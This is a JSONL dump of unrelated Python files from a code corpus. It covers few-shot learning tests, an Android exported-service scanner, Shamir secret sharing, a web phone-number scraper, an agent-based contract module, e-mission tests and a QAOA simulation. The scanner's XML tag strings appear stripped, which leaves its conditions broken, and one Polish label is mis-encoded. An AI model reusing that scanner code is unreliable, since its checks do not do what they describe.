batch_features.unsqueeze(0).repeat(CLASS_NUM, 1, 1, 1, 1)\n batch_features_ext = torch.transpose(batch_features_ext, 0, 1)\n relation_pairs = torch.cat((sample_features_ext, batch_features_ext),2).view(-1, 128, 19, 19)\n relations = relation_network(relation_pairs).view(-1, CLASS_NUM)\n #计算正确率\n _,predict_labels = torch.max(relations.data,1)\n predict_labels = predict_labels.cpu()\n batch_labels = batch_labels.long()\n sz = BATCH_NUM * CLASS_NUM\n rewards = [1 if predict_labels[j]==batch_labels[j] else 0 for j in range(sz)]\n accuracies.append(np.sum(rewards) / sz)\n #输出测试进度\n if i % 20 == 0:\n num = i // 20\n print('\\r[' + '>'*num + '='*(30-num) + ']', end='')\n #计算输出测试结果,记录时间\n test_accuracy, h = mean_confidence_interval(accuracies)\n print(\"\\ntest accuracy:\",test_accuracy,\"h:\",h)\n print(datetime.datetime.now(), 'use:', time.time() - start)\n\n#参数解析\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-t\",\"--type\",type = str, default = 't')\nargs = parser.parse_args()\ntt = args.type\n#类别数,每类的样本数和查询数\nCLASS_NUM = 10\nSAMPLE_NUM = 5\nBATCH_NUM = 10\nA=100\n#训练模型\ntrs(tt)\n","sub_path":"hand-writing/code/code4.py","file_name":"code4.py","file_ext":"py","file_size_in_byte":16513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"462575789","text":"import re\n\nf1 = open('./manifests.txt', mode='r');\nf2 = open('./exposed_services_i.txt', mode='w');\nf3 = open('./exposed_services_e.txt', mode='w');\nf4 = open('./test_services_i.txt', mode='w');\nf5 = open('./test_services_e.txt', mode='w');\nf6 = open('./exposed_services_perm.txt', mode='w');\nf7 = open('./results.txt', mode='w');\n\n# list of installed packages on Android Oreo stock\n# f = open('./packages.txt', mode='r');\n# installed_packages = f.read()\n# f.close()\n\nmanifests = 0;\nexposed_services_i = 0;\nexposed_services_e = 0;\nexposed_services_perm = 0;\n\n# lists used to avoid duplicate intents\ni_list = []\ne_list = []\nperm_list = []\napps_list_i = []\napps_list_e = []\n\nline = f1.readline()\n# for each AndroidManifest.xml\nwhile line:\n\tmanifest_path = line.strip('\\n')\n\tmanifests = manifests + 1;\n\t# open the manifest file in read mode\n\tf_manifest = open(manifest_path, 'r')\n\n\t# extract package name and check if it is between the installed ones\n\t# the first part of the manifest has always the tag which includes the 'package' attribute\n\tpackage = ''\n\twhile True:\n\t\tsearchLine = f_manifest.readline()\n\t\tif 'package=' in searchLine:\n\t\t\tbreak;\n\t# extract the package name\n\tx = re.search('package=\"(.*?)\"', searchLine)\n\tpackage = x.group(1)\n\t# if package not in installed_packages:\n\t# \t# next manifest\n\t# \tline = f1.readline()\n\t# \tf_manifest.close()\n\t# \tcontinue\n\n\t# check if the manifest actually contains an declaration otherwise move to the next manifest\n\tskip = False\n\twhile True:\n\t\tsearchLine = f_manifest.readline()\n\t\tif not searchLine:\n\t\t\tskip = True\n\t\t\tbreak\n\t\t# check if reached the end of the manifest (no service defined)\n\t\tif '' in searchLine:\n\t\t\tskip = True\n\t\t\tbreak\n\t\tif ' is enabled and extract the applciation name\n\tapplication = ''\n\tskip = False\n\twhile True:\n\t\tif 'android:enabled=\"false\"' in searchLine:\n\t\t\tskip = True\n\t\t\tbreak\n\t\t# extract application name\n\t\tx = re.search('android:name=\"(.*?)\"', searchLine)\n\t\tif x != None:\n\t\t\tapplication = x.group(1)\n\t\tif '/>' in searchLine:\n\t\t\tskip = True\n\t\t\tbreak\n\t\tif '>' in searchLine:\n\t\t\tbreak\n\t\tsearchLine = f_manifest.readline()\n\tif skip:\n\t\t# next manifest\n\t\tline = f1.readline()\n\t\tf_manifest.close()\n\t\tcontinue\n\n\t# search through all defined services\n\tsearchLine = f_manifest.readline()\n\twhile searchLine:\n\t\t# \n\t\tif '' in searchLine:\n\t\t\t\tempty = True\n\t\t\t\tbreak\n\t\t\tif '>' in searchLine:\n\t\t\t\tbreak\n\t\t\tsearchLine = f_manifest.readline()\n\t\t# while end\n\n\t\tif flag == True:\n\t\t\t# Exposed service\n\t\t\tif empty == True:\n\t\t\t\t# i already know that this service has no intent filters declared\n\t\t\t\t# if the service is explicitly exported, then can be started with an explicit intent\n\t\t\t\tif exported == True:\n\t\t\t\t\t# check if a permission was requested\n\t\t\t\t\tif permission != '':\n\t\t\t\t\t\t#if service not in perm_list:\n\t\t\t\t\t\tperm_list.append(service)\n\t\t\t\t\t\texposed_services_perm = exposed_services_perm + 1\n\t\t\t\t\t\tf6.write('Manifest:\\t' + manifest_path + '\\n')\n\t\t\t\t\t\tf6.write('Package:\\t' + package + '\\n')\n\t\t\t\t\t\tf6.write('App:\\t\\t' + application + '\\n')\n\t\t\t\t\t\tf6.write('Service:\\t' + service + '\\n')\n\t\t\t\t\t\tf6.write('Permission:\\t' + permission + '\\n')\n\t\t\t\t\t\tf6.write('\\n')\n\t\t\t\t\telse:\n\t\t\t\t\t\tif 'com.google.firebase' not in service:\n\t\t\t\t\t\t\tx = re.search('^[.]', service)\n\t\t\t\t\t\t\tif x!= None:\n\t\t\t\t\t\t\t\tnew_service = package + '/' + service\n\t\t\t\t\t\t\telif package in service:\n\t\t\t\t\t\t\t\tnew_service = service.replace(package, package + '/')\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tnew_service = package + '/.' + service\n\n\t\t\t\t\t\t\t#if new_service not in e_list:\n\t\t\t\t\t\t\te_list.append(new_service)\n\t\t\t\t\t\t\texposed_services_e = exposed_services_e + 1;\n\t\t\t\t\t\t\tf3.write('Manifest:\\t' + manifest_path + '\\n')\n\t\t\t\t\t\t\tf3.write('Package:\\t' + package + '\\n')\n\t\t\t\t\t\t\tf3.write('App:\\t\\t' + application + '\\n')\n\t\t\t\t\t\t\tf3.write('Service:\\t' + service + '\\n')\n\t\t\t\t\t\t\tf3.write('\\n')\n\t\t\t\t\t\t\tif manifest_path not in apps_list_e:\n\t\t\t\t\t\t\t\tf5.write(manifest_path[:-19] + package + '.apk\\n')\n\t\t\t\t\t\t\t\tapps_list_e.append(manifest_path)\n\t\t\t\t\t\t\tf5.write(new_service + '\\n')\n\t\t\t\t# start to look for the next service\n\t\t\t\tsearchLine = f_manifest.readline()\n\t\t\t\tcontinue # to the next service\n\n\t\t\tempty = True\n\t\t\t# the service is not empty, so\n\t\t\t# search all intent filters for this service (if any)\n\t\t\twhile ' 1: raise Exception(self + \" is not invertible!\")\n if t < 0: t = t + self.p\n return MInt(t, self.p)\n\nclass shamirSecret(object):\n\t\"\"\"Secret object that generates shares and evaluates secret\"\"\"\n\tdef __init__(self,prime,nshares=0,nthreshold=0,secret=[],shares=[]):\n\t\tself.secret = secret\n\t\tself.nshares = nshares\n\t\tself.nthreshold = nthreshold\n\t\tself.prime = prime\n\t\tself.shares = shares\n\n\tdef sharesGen(self):\n\t\tcoefficients = []\n\t\txShare = []\n\n\t\t# Get random (k-1) coefficients that define a k-th degree polynomial\n\t\t# generate threshold-1 random numbers (positive intigers) Ai < P\n\t\trng = random.SystemRandom(int(time.time()))\n\t\tfor i in range(self.nthreshold - 1):\n\t\t\tcoefficient = coefficients.extend([MInt(rng.randint(1, self.prime - 1), self.prime)])\n\n\t\t# Get random x values and check for duplicates\n\t\tfor i in range(self.nshares):\n\t\t\twhile True:\n\t\t\t\tx = rng.randint(1, self.prime - 1)\n\t\t\t\tif(not (x in xShare)):\n\t\t\t\t\txShare.append(x)\n\t\t\t\t\tbreak\n\t\t# Compute share for each x value of the polynomial\n\t\t# expand to cof[0]x^0 + cof[1]x^1 + cof[1]x^1 ... cof[threshold-1]x^[threshold-1]\n\t\t# take that equation and get n number of keys ie 1-n (x[0] is the secret)\n\t\tfor x in xShare:\n\t\t\t# x = 0 is the secret\n\t\t\tshare = MInt(self.secret,self.prime)\n\t\t\txVal = MInt(x,self.prime)\n\t\t\tdegree = 1\n\t\t\tfor cof in coefficients:\n\t\t\t\tshare += cof * pow(xVal, degree)\n\t\t\t\tdegree += 1 \n\t\t\tself.shares.append([xVal.n,share.n])\n\t\t\n\t\t# Debug shares\n\t\t#sCount = 1\n\t\t#for share in self.shares:\n\t\t#\tprint(\"Share - %s\" % sCount)\n\t\t#\tsCount += 1\n\t\t#\tprint(str(share[0])+':'+str(share[1]))\n\n\tdef computeSecret(self):\n\n\t\tfor s in self.shares:\n\t\t\t# Check that the x and y value are both less than the prime\n\t\t\tassert self.prime > s[0] and self.prime > s[1]\n\t\tsecret = MInt(0, self.prime)\n\n\t\tfor j in range(0, len(self.shares)):\n\t\t\tx_j = MInt(self.shares[j][0], self.prime)\t\t#convert x value to finite feild\n\t\t\tshare_j = MInt(self.shares[j][1], self.prime)\t#convert share to finite feild\n\t\t\tproduct = MInt(1, self.prime)\t\t\t\t\t#start result at 1\n\t\t\tfor m in range(0, len(self.shares)):\n\t\t\t\tx_m = MInt(self.shares[m][0], self.prime)\t#take each x value\n\t\t\t\tif m != j:\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tproduct *= (x_m / (x_m - x_j))\t\t\t# compute secret\n\t\t\tsecret += (share_j * product)\t\t\t\t\t# compute secret\n\t\t\n\t\tif len(str(secret.n)) < 1000:\n\t\t\tprint(\"Found it!\")\n\t\t\tprint(secret.n)\n\t\telse:\n\t\t\tprint(\"Either you have a really big secret or your input in wrong.\")\n\t\t\tprint(\"Check that you have enough shares and you used the correct prime.\")\n\t\t\tprint(secret.n)\n\t\treturn secret.n\n\n\tdef loadShares(self):\n\t\t# class takes a array of shares and laodes them into class\n\t\tpass\n\n\tdef shareToFile(self):\n\t\tfilename = 'share_'\n\n\t\tfor i in range(self.nshares):\n\t\t\twith open((filename+str(i+1)),'w') as file_object:\n\t\t\t\tfile_object.write(str(self.shares[i][0])+':'+str(self.shares[i][1]))\n","sub_path":"shamirClass.py","file_name":"shamirClass.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"597127089","text":"import requests\nimport bs4\nimport re\n\nr = requests.get(\"http://www.delawareonline.com\")\n\nsoup=bs4.BeautifulSoup(r.content,'html.parser')\nphoneNumberPattern = re.compile(r'\\d\\d\\d\\-\\d\\d\\d-\\d\\d\\d\\d')\ns = str(soup)\nresultObject = phoneNumberPattern.search(s)\ntry:\n print(\"Phone number(s) found: \",resultObject.group())\nexcept:\n print(\"No phone number found\")\n'''\nprint(soup.title)\nlinks =soup.find_all('a')\nfor link in links:\n print(link.get('href'))\n'''","sub_path":"Phone Text.py","file_name":"Phone Text.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"145497313","text":"'''\n\nThere are 1000 buckets, one and only one of them contains poison, the rest are filled with water. \nThey all look the same. \nIf a pig drinks that poison it will die within 15 minutes. \nWhat is the minimum amount of pigs you need to figure out which bucket contains the poison within one hour.\n\nAnswer this question, and write an algorithm for the follow-up general case.\n\nFollow-up:\nIf there are n buckets and a pig drinking poison will die within m minutes, \nhow many pigs (x) you need to figure out the \"poison\" bucket within p minutes? \nThere is exact one bucket with poison.\n\n'''\n\nimport math\n\nclass Solution(object):\n # If one attempts 2^x => #bucket\n # If more attempts (t+1)^x => #bucket\n # May refer to https://leetcode.com/problems/poor-pigs/discuss/94273/Solution-with-detailed-explanation\n def poorPigs(self, buckets, minutesToDie, minutesToTest):\n \"\"\"\n :type buckets: int\n :type minutesToDie: int\n :type minutesToTest: int\n :rtype: int\n \"\"\"\n q, r1 = divmod(minutesToTest, minutesToDie)\n return int(math.ceil(math.log(buckets, q+1)))\n\n\nif __name__ == \"__main__\":\n buckets = 1000\n minutesToDie = 15\n minutesToTest = 60\n solu = Solution()\n print(solu.poorPigs(buckets,minutesToDie,minutesToTest))","sub_path":"py/PoorPigs.py","file_name":"PoorPigs.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"565163913","text":"#pylint: disable=W0232, C1001, C0111, R0913, E1101, W0212\nfrom abce.tools import NotEnoughGoods, epsilon\nfrom random import shuffle\nfrom collections import defaultdict\n\n\nclass Contract:\n \"\"\" This is a class, that allows you to create contracts. For example a\n work contract. One agent commits to deliver a good or service for a set\n amount of time.\n\n For example you have a firm and a worker class. 'Labor' is set as a service\n meaning that it lasts not longer than one round and the worker how has an\n adult gets one unit of labor every round see: :meth:`abce.declare_service`.\n The firm offers a work contract, the worker responds. Every round the\n worker delivers the labor and the firm pays.::\n\n class Firm(abce.Agent, abce.Contract)\n def request_offer(self):\n if self.round % 10 == 0:\n self.given_contract = self.request_contract('contractbuyer', 0, 'labor', 5, 10 , duration=10 - 1)\n\n def deliver_or_pay(self):\n self.pay_contract('labor')\n\n class Worker(abce.Agent, abce.Contract):\n def init(self):\n self.create('adult', 1)\n\n def accept_offer(self):\n contracts = self.get_contract_requests('labor')\n for contract in contracts:\n self.accepted_contract = self.accept_contract(contract)\n\n def deliver_or_pay(self):\n self.deliver('labor')\n\n Firms and workers can check, whether they have been paid/provided with\n labor using the :meth:`is_payed` and :meth:`is_delivered` methods.\n\n The worker can also initiate the transaction by requesting a contract with\n :meth:`make_contract_offer`.\n\n \"\"\"\n def make_contract_offer(self, receiver_group, receiver_idn, good, quantity, price, duration):\n \"\"\"This method offers a contract to provide a good or service to the\n receiver. For a given time at a given price.\n\n Args:\n\n receiver_group:\n group of the receiver\n receiver_idn:\n id of the receiver\n good:\n the good or service that should be provided\n quantity:\n the quantity that should be provided\n price:\n the price of the good or service\n duration:\n the lenght of the contract\n\n Example::\n\n self.given_contract = self.make_contract_offer('firm', 1, 'labor', quantity=8, price=10, duration=10 - 1)\n \"\"\"\n assert quantity >= 0, (quantity, self.round)\n offer = {'sender_group': self.group,\n 'sender_idn': self.idn,\n 'deliver_group': receiver_group,\n 'deliver_idn': receiver_idn,\n 'pay_group': self.group,\n 'pay_idn': self.idn,\n 'good': good,\n 'quantity': quantity,\n 'price': price,\n 'end_date': duration + self.round,\n 'makerequest': 'm',\n 'idn': self._offer_counter()}\n self._send(receiver_group, receiver_idn, '!o', offer)\n return offer['idn']\n\n def request_contract(self, receiver_group, receiver_idn, good, quantity, price, duration):\n \"\"\"This method requests a contract to provide a good or service to the\n sender. For a given time at a given price. For example a job\n advertisement.\n\n Args:\n\n receiver_group:\n group of the receiver\n receiver_idn:\n id of the receiver\n good:\n the good or service that should be provided\n quantity:\n the quantity that should be provided\n price:\n the price of the good or service\n duration:\n the lenght of the contract\n \"\"\"\n assert quantity >= 0, (quantity, self.round)\n offer = {'sender_group': self.group,\n 'sender_idn': self.idn,\n 'deliver_group': self.group,\n 'deliver_idn': self.idn,\n 'pay_group': receiver_group,\n 'pay_idn': receiver_idn,\n 'good': good,\n 'quantity': quantity,\n 'price': price,\n 'end_date': duration + self.round,\n 'makerequest': 'r',\n 'idn': self._offer_counter()}\n self._send(receiver_group, receiver_idn, '!o', offer)\n return offer['idn']\n\n def get_contract_offers(self, good, descending=False):\n \"\"\" Returns all contract offers and removes them. The order\n is randomized.\n\n Args:\n good:\n the good which should be retrieved\n descending(bool,default=False):\n False for descending True for ascending by price\n\n Returns:\n list of quotes ordered by price\n \"\"\"\n ret = self._contract_offers[good]\n del self._contract_offers[good]\n shuffle(ret)\n ret.sort(key=lambda objects: objects['price'], reverse=descending)\n return ret\n\n def get_contract_requests(self, good, descending=True):\n \"\"\" Returns all contract requests and removes them. The order\n is randomized.\n\n Args:\n good:\n the good which should be retrieved\n descending(bool,default=True):\n False for descending True for ascending by price\n\n Returns:\n list of quotes ordered by price\n \"\"\"\n ret = self._contract_requests[good]\n del self._contract_requests[good]\n shuffle(ret)\n ret.sort(key=lambda objects: objects['price'], reverse=descending)\n return ret\n\n def accept_contract(self, contract, quantity=None):\n \"\"\" Accepts the contract. The contract is completely aceppted, when\n the quantity is not given. Or partially when quantity is set.\n\n Args:\n\n contract:\n the contract in question, received with get_contract_requests or\n get_contract_offers\n\n quantity (optional):\n the quantity that is accepted. Defaults to all.\n \"\"\"\n if quantity is not None:\n contract['quantity'] = min(contract['quantity'], quantity)\n if contract['makerequest'] == 'm':\n self._contracts_pay[contract['good']].append(contract)\n self._send(contract['sender_group'], contract['sender_idn'], '+d', contract)\n else:\n self._contracts_deliver[contract['good']].append(contract)\n self._send(contract['sender_group'], contract['sender_idn'], '+p', contract)\n return contract['idn']\n\n def deliver(self, good):\n \"\"\" delivers all contracts of the type good. Does not take care of the payment\n The delivery is logged\n \"\"\"\n total_delivered = 0\n quantities = defaultdict(float)\n for contract in self._contracts_deliver[good]:\n if self._haves[good] < contract['quantity'] - epsilon:\n raise NotEnoughGoods(self.name, good, contract['quantity'] - self._haves[good])\n self._haves[good] -= contract['quantity']\n quantities[(contract['deliver_group'], contract['deliver_idn'])] += contract['quantity']\n\n total_delivered += contract['quantity']\n\n for deliver_group, deliver_idn in quantities:\n self._send(deliver_group, deliver_idn, '!d', {'receiver_group': self.group,\n 'receiver_idn': self.idn,\n 'good': good,\n 'quantity': quantities[(deliver_group, deliver_idn)],\n 'price': 0,\n 'buysell': 'b'})\n\n return {good: total_delivered}\n\n def pay_contract(self, good):\n total_payment = 0\n quantities = defaultdict(float)\n for contract in self._contracts_pay[good]:\n if self._haves['money'] < contract['quantity'] * contract['price'] - epsilon:\n raise NotEnoughGoods(self.name, 'money', contract['quantity'] * contract['price'] - self._haves['money'])\n self._haves['money'] -= contract['quantity'] * contract['price']\n quantities[(contract['pay_group'], contract['pay_idn'])] += contract['quantity'] * contract['price']\n total_payment += contract['quantity'] * contract['price']\n\n for pay_group, pay_idn in quantities:\n self._send(pay_group, pay_idn, '!p', {'receiver_group': self.group,\n 'receiver_idn': self.idn,\n 'good': good,\n 'quantity': 0,\n 'price': quantities[(pay_group, pay_idn)],\n 'buysell': 'b'})\n\n return {good: total_payment}\n\n\n def has_delivered(self, group, idn):\n return (group, idn) in self._contracts_delivered\n\n def has_payed(self, group, idn):\n return (group, idn) in self._contracts_payed\n\n def contract_delivery_commitments(self, good):\n return sum([contract['quantity'] for contract in self._contracts_deliver[good]])\n\n def contract_payment_commitments(self, good):\n return sum([contract['quantity'] * contract['price'] for contract in self._contracts_pay[good]])\n\n def contract_delivery_to_receive(self, good):\n return sum([contract['quantity'] for contract in self._contracts_pay[good]])\n\n def contract_payment_to_receive(self, good):\n return sum([contract['quantity'] * contract['price'] for contract in self._contracts_deliver[good]])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"abce/contract.py","file_name":"contract.py","file_ext":"py","file_size_in_byte":9949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"873475","text":"from __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import *\nimport unittest\nimport logging\nimport arrow\nimport os\n\nimport emission.core.get_database as edb\nimport emission.core.wrapper.localdate as ecwl\n\nimport emission.tests.common as etc\n\nimport emission.analysis.intake.cleaning.filter_accuracy as eaicf\n\nimport emission.storage.timeseries.format_hacks.move_filter_field as estfm\n\nfrom emission.net.api import metrics\n\nclass TestMetrics(unittest.TestCase):\n def setUp(self):\n self.analysis_conf_path = \\\n etc.set_analysis_config(\"analysis.result.section.key\", \"analysis/cleaned_section\")\n etc.setupRealExample(self,\n \"emission/tests/data/real_examples/shankari_2015-aug-21\")\n self.testUUID1 = self.testUUID\n etc.setupRealExample(self,\n \"emission/tests/data/real_examples/shankari_2015-aug-27\")\n etc.runIntakePipeline(self.testUUID1)\n etc.runIntakePipeline(self.testUUID)\n logging.info(\n \"After loading, timeseries db size = %s\" % edb.get_timeseries_db().estimated_document_count())\n self.aug_start_ts = 1438387200\n self.aug_end_ts = 1441065600\n self.day_start_dt = ecwl.LocalDate.get_local_date(self.aug_start_ts, \"America/Los_Angeles\")\n self.day_end_dt = ecwl.LocalDate.get_local_date(self.aug_end_ts, \"America/Los_Angeles\")\n\n def tearDown(self):\n self.clearRelatedDb()\n os.remove(self.analysis_conf_path)\n\n def clearRelatedDb(self):\n edb.get_timeseries_db().delete_many({\"user_id\": self.testUUID})\n edb.get_analysis_timeseries_db().delete_many({\"user_id\": self.testUUID})\n edb.get_pipeline_state_db().delete_many({\"user_id\": self.testUUID})\n edb.get_timeseries_db().delete_many({\"user_id\": self.testUUID1})\n edb.get_analysis_timeseries_db().delete_many({\"user_id\": self.testUUID1})\n edb.get_pipeline_state_db().delete_many({\"user_id\": self.testUUID1})\n\n def testCountTimestampMetrics(self):\n met_result = metrics.summarize_by_timestamp(self.testUUID,\n self.aug_start_ts, self.aug_end_ts,\n 'd', ['count'], True)\n logging.debug(met_result)\n\n self.assertEqual(list(met_result.keys()), ['aggregate_metrics', 'user_metrics'])\n user_met_result = met_result['user_metrics'][0]\n agg_met_result = met_result['aggregate_metrics'][0]\n\n self.assertEqual(len(user_met_result), 2)\n self.assertEqual([m.nUsers for m in user_met_result], [1,1])\n self.assertEqual(user_met_result[0].local_dt.day, 27)\n self.assertEqual(user_met_result[1].local_dt.day, 28)\n self.assertEqual(user_met_result[0].ON_FOOT, 4)\n self.assertEqual(user_met_result[0].BICYCLING, 2)\n # Changed from 3 to 4 - investigation at\n # https://github.com/e-mission/e-mission-server/issues/288#issuecomment-242531798\n self.assertEqual(user_met_result[0].IN_VEHICLE, 4)\n # We are not going to make absolute value assertions about\n # the aggregate values since they are affected by other\n # entries in the database. However, because we have at least\n # data for two days in the database, the aggregate data\n # must be at least that much larger than the original data.\n self.assertEqual(len(agg_met_result), 8)\n # no overlap between users at the daily level\n # bunch of intermediate entries with no users since this binning works\n # by range\n self.assertEqual([m.nUsers for m in agg_met_result], [1,1,0,0,0,0,1,1])\n # If there are no users, there are no values for any of the fields\n # since these are never negative, it implies that their sum is zero\n self.assertTrue('ON_FOOT' not in agg_met_result[2] and\n 'BICYCLING' not in agg_met_result[2] and\n 'IN_VEHICLE' not in agg_met_result[2])\n\n\n def testCountLocalDateMetrics(self):\n met_result = metrics.summarize_by_local_date(self.testUUID,\n ecwl.LocalDate({'year': 2015, 'month': 8}),\n ecwl.LocalDate({'year': 2015, 'month': 9}),\n 'MONTHLY', ['count'], True)\n self.assertEqual(list(met_result.keys()), ['aggregate_metrics', 'user_metrics'])\n user_met_result = met_result['user_metrics'][0]\n agg_met_result = met_result['aggregate_metrics'][0]\n\n logging.debug(met_result)\n\n # local timezone means that we only have one entry\n self.assertEqual(len(user_met_result), 1)\n self.assertEqual(user_met_result[0].nUsers, 1)\n self.assertEqual(user_met_result[0].ON_FOOT, 6)\n self.assertEqual(user_met_result[0].BICYCLING, 4)\n self.assertEqual(user_met_result[0].IN_VEHICLE, 5)\n # We are not going to make assertions about the aggregate values since\n # they are affected by other entries in the database but we expect them\n # to be at least as much as the user values\n self.assertEqual(len(agg_met_result), 1)\n self.assertEqual(agg_met_result[0].nUsers, 2)\n self.assertGreaterEqual(agg_met_result[0].BICYCLING,\n user_met_result[0].BICYCLING + 1) # 21s has one bike trip\n self.assertGreaterEqual(agg_met_result[0].ON_FOOT,\n user_met_result[0].ON_FOOT + 3) # 21s has three bike trips\n self.assertGreaterEqual(agg_met_result[0].IN_VEHICLE,\n user_met_result[0].IN_VEHICLE + 3) # 21s has three motorized trips\n\n def testCountNoEntries(self):\n # Ensure that we don't crash if we don't find any entries\n # Should return empty array instead\n # Unlike in https://amplab.cs.berkeley.edu/jenkins/job/e-mission-server-prb/591/\n met_result_ld = metrics.summarize_by_local_date(self.testUUID,\n ecwl.LocalDate({'year': 2000}),\n ecwl.LocalDate({'year': 2001}),\n 'MONTHLY', ['count'], True)\n self.assertEqual(list(met_result_ld.keys()), ['aggregate_metrics', 'user_metrics'])\n self.assertEqual(met_result_ld['aggregate_metrics'][0], [])\n self.assertEqual(met_result_ld['user_metrics'][0], [])\n\n met_result_ts = metrics.summarize_by_timestamp(self.testUUID,\n arrow.get(2000,1,1).int_timestamp,\n arrow.get(2001,1,1).int_timestamp,\n 'm', ['count'], True)\n self.assertEqual(list(met_result_ts.keys()), ['aggregate_metrics', 'user_metrics'])\n self.assertEqual(met_result_ts['aggregate_metrics'][0], [])\n self.assertEqual(met_result_ts['user_metrics'][0], [])\n\nif __name__ == '__main__':\n import emission.tests.common as etc\n etc.configLogging()\n unittest.main()\n","sub_path":"emission/tests/netTests/TestMetricsCleanedSections.py","file_name":"TestMetricsCleanedSections.py","file_ext":"py","file_size_in_byte":7354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"172311643","text":"import pickle\nimport numpy as np\nimport networkx as nx\nfrom module import DephasingChannel, MyClass\n\n# Initialize dictionary\ndata = dict()\ndata_with_vd = dict()\n# Loop over all instances\nfor idx in range(30):\n # Path\n path = \"../../data/max_cut_\"+str(idx)+\"/\"\n # Load graph\n graph = nx.readwrite.gpickle.read_gpickle(path + \"graph\")\n # Load QAOA parameters\n params = pickle.load(open(path+\"qaoa_parameters_minimize_dephasing\", \"rb\"))\n # Load QAOA with VD parameters\n params_with_vd = pickle.load(\n open(path+\"qaoa_parameters_minimize_dephasing_with_vd\", \"rb\"))\n # Create object\n obj = MyClass(graph)\n # Loop over noise levels\n for key, p in enumerate(np.linspace(0, 0.1, 21)):\n if p == 0:\n # Get the optimal parameters\n alpha, beta = params[str(key)][1][0]\n # Get the optimal parameters with VD\n alpha_with_vd, beta_with_vd = params_with_vd[str(key)][1][0]\n # Simulate QAOA\n rho = obj.simulate_qaoa((alpha, beta))\n # Simulate QAOA with VD parameters\n rho_with_vd = obj.simulate_qaoa((alpha_with_vd, beta_with_vd))\n # Simulate Virtual Distillation\n rho_out = obj.simulate_virtual_distillation(rho_with_vd)\n # Calculate the variance of the unmitigated estimator\n var = obj.unmitigated_variance(rho)\n # Calculate the variance of the mitigated estimator\n var_m = obj.mitigated_variance(rho_out)\n else:\n # Get the optimal parameters\n alpha, beta = params[str(key)][1].x\n # Get the optimal parameters with VD\n alpha_with_vd, beta_with_vd = params_with_vd[str(key)][1].x\n # Noise type\n noise = DephasingChannel(p=p)\n # Simulate QAOA\n rho = obj.simulate_qaoa((alpha, beta), with_noise=noise)\n # Simulate QAOA with VD parameters\n rho_with_vd = obj.simulate_qaoa(\n (alpha_with_vd, beta_with_vd), with_noise=noise)\n # Simulate Virtual Distillation\n rho_out = obj.simulate_virtual_distillation(\n rho_with_vd, with_noise=noise)\n # Calculate the variance of the unmitigated estimator\n var = obj.unmitigated_variance(rho)\n # Calculate the variance of the mitigated estimator\n var_m = obj.mitigated_variance(rho_out)\n # Save data to dict\n data[str(key)] = (p, var)\n data_with_vd[str(key)] = (p, var_m)\n # Save results\n filename = path + \"qaoa_variance_dephasing\"\n with open(filename, 'wb') as f:\n pickle.dump(data, f)\n\n filename = path + \"qaoa_variance_dephasing_with_vd\"\n with open(filename, 'wb') as f:\n pickle.dump(data_with_vd, f)\n","sub_path":"src/qaoa/qaoa-variance-dephasing.py","file_name":"qaoa-variance-dephasing.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"517905429","text":"RULE_MIN_LENGTH = 0\nRULE_MAX_LENGTH = 1\nRULE_MIN_WIDTH = 2\nRULE_MAX_WIDTH = 3\nRULE_MIN_HEIGTH = 4\nRULE_MAX_HEIGTH = 5\nRULE_EXACT_HEIGTH = 6\n\nERROR_RULE = [ \"PRZEKROCZONO MINIMALNĄ DŁUGOŚĆ\",\n \"PRZEKROCZONO MAKSYMALNĄ DŁUGOŚĆ\",\n \"PRZEKROCZONO MINIMALNĄ SZEROKOŚĆ\",\n \"PRZEKROCZONO MAKSYMALNĄ SZEROKOŚĆ\",\n \"PRZEKROCZONO MINIMALNĄ WYSOKOŚĆ\",\n \"PRZEKROCZONO MAKSYMALNĄ WYSOKOŚĆ\",\n \"NIEDOPUSZCZALNA WYSOKOŚĆ, AKCEPTOWALNE WARTOŚCI\"]\n\nMATERIAL_NONE = 0\nMATERIAL_PLATE = 1\nMATERIAL_METAL = 2\nMATERIAL_GLASS = 3\nMATERIAL_MDF19 = 4\n\nMATERIAL_NAME = [ \"NIEOKREŚLONE\",\n \"PŁYTA LAMINOWANA\",\n \"METAL\",\n \"SZKŁO\",\n \"PŁľYTA MDF #19\"]\n\nSLIDE_NONE = 0\nSLIDE_PK44 = 1\nSLIDE_PK05 = 2\nSLIDE_PK06 = 3","sub_path":"globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"641984963","text":"import pandas as pd\nimport numpy as np\n\n\ndef load_dfs():\n\n # Read the csvs\n act = pd.read_csv(\"../saves/act_cluster_format.csv\")\n opp = pd.read_csv(\"../saves/opp_history_format.csv\")\n\n # Format the date fields\n act[\"date\"] = pd.to_datetime(act[\"Date\"])\n act = act.drop(\"Date\", axis=1)\n opp[\"date\"] = pd.to_datetime(opp[\"date\"])\n\n return act, opp\n\ndef map_act_histories(act, opp):\n\n # Save the update dates\n act_updates = act[[\"Contact ID\", \"date\"]].drop_duplicates()\n act_updates[\"type\"] = \"act\"\n opp_updates = opp[[\"Contact ID\", \"date\"]].drop_duplicates()\n opp_updates[\"type\"] = \"opp\"\n\n # Merge and sort\n updates = opp_updates.append(act_updates).sort_values(by=[\"Contact ID\", \"date\", \"type\"]).reset_index(drop=True)\n\n # Mark the update dates\n updates.loc[updates[\"type\"] == \"act\", \"update_date\"] = 